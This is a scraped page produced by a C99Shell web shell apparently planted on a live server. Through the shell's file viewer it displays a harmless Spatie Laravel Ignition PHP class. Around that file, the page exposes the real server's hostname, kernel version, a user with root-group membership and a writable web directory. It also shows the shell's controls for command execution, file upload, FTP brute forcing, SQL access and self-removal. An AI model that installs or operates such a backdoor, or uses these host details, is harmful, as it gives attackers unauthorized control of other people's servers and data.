!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/spatie/laravel-ignition/src/Solutions/   drwxrwxr-x
Free 28.77 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MakeViewVariableOptionalSolution.php (3.74 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\LaravelIgnition\Solutions;

use 
Illuminate\Support\Facades\Blade;
use 
Illuminate\Support\Str;
use 
Spatie\Ignition\Contracts\RunnableSolution;

class 
MakeViewVariableOptionalSolution implements RunnableSolution
{
    protected ?
string $variableName;

    protected ?
string $viewFile;

    public function 
__construct(string $variableName nullstring $viewFile null)
    {
        
$this->variableName $variableName;

        
$this->viewFile $viewFile;
    }

    public function 
getSolutionTitle(): string
    
{
        return 
"$$this->variableName is undefined";
    }

    public function 
getDocumentationLinks(): array
    {
        return [];
    }

    public function 
getSolutionActionDescription(): string
    
{
        
$output = [
            
'Make the variable optional in the blade template.',
            
"Replace `{{ $$this->variableName }}` with `{{ $$this->variableName ?? '' }}`",
        ];

        return 
implode(PHP_EOL$output);
    }

    public function 
getRunButtonText(): string
    
{
        return 
'Make variable optional';
    }

    public function 
getSolutionDescription(): string
    
{
        return 
'';
    }

    public function 
getRunParameters(): array
    {
        return [
            
'variableName' => $this->variableName,
            
'viewFile' => $this->viewFile,
        ];
    }

    
/**
     * @param array<string, mixed>  $parameters
     *
     * @return bool
     */
    
public function isRunnable(array $parameters = []): bool
    
{
        return 
$this->makeOptional($this->getRunParameters()) !== false;
    }

    
/**
     * @param array<string, string> $parameters
     *
     * @return void
     */
    
public function run(array $parameters = []): void
    
{
        
$output $this->makeOptional($parameters);
        if (
$output !== false) {
            
file_put_contents($parameters['viewFile'], $output);
        }
    }

    protected function 
isSafePath(string $path): bool
    
{
        if (! 
Str::startsWith($path, ['/''./'])) {
            return 
false;
        }
        if (! 
Str::endsWith($path'.blade.php')) {
            return 
false;
        }

        return 
true;
    }

    
/**
     * @param array<string, string> $parameters
     *
     * @return bool|string
     */
    
public function makeOptional(array $parameters = []): bool|string
    
{
        if (! 
$this->isSafePath($parameters['viewFile'])) {
            return 
false;
        }

        
$originalContents = (string)file_get_contents($parameters['viewFile']);
        
$newContents str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''"$originalContents);

        
$originalTokens token_get_all(Blade::compileString($originalContents));
        
$newTokens token_get_all(Blade::compileString($newContents));

        
$expectedTokens $this->generateExpectedTokens($originalTokens$parameters['variableName']);

        if (
$expectedTokens !== $newTokens) {
            return 
false;
        }

        return 
$newContents;
    }

    
/**
     * @param array<int, mixed> $originalTokens
     * @param string $variableName
     *
     * @return array<int, mixed>
     */
    
protected function generateExpectedTokens(array $originalTokensstring $variableName): array
    {
        
$expectedTokens = [];
        foreach (
$originalTokens as $token) {
            
$expectedTokens[] = $token;
            if (
$token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                
$expectedTokens[] = [T_WHITESPACE' '$token[2]];
                
$expectedTokens[] = [T_COALESCE'??'$token[2]];
                
$expectedTokens[] = [T_WHITESPACE' '$token[2]];
                
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING"''"$token[2]];
            }
        }

        return 
$expectedTokens;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--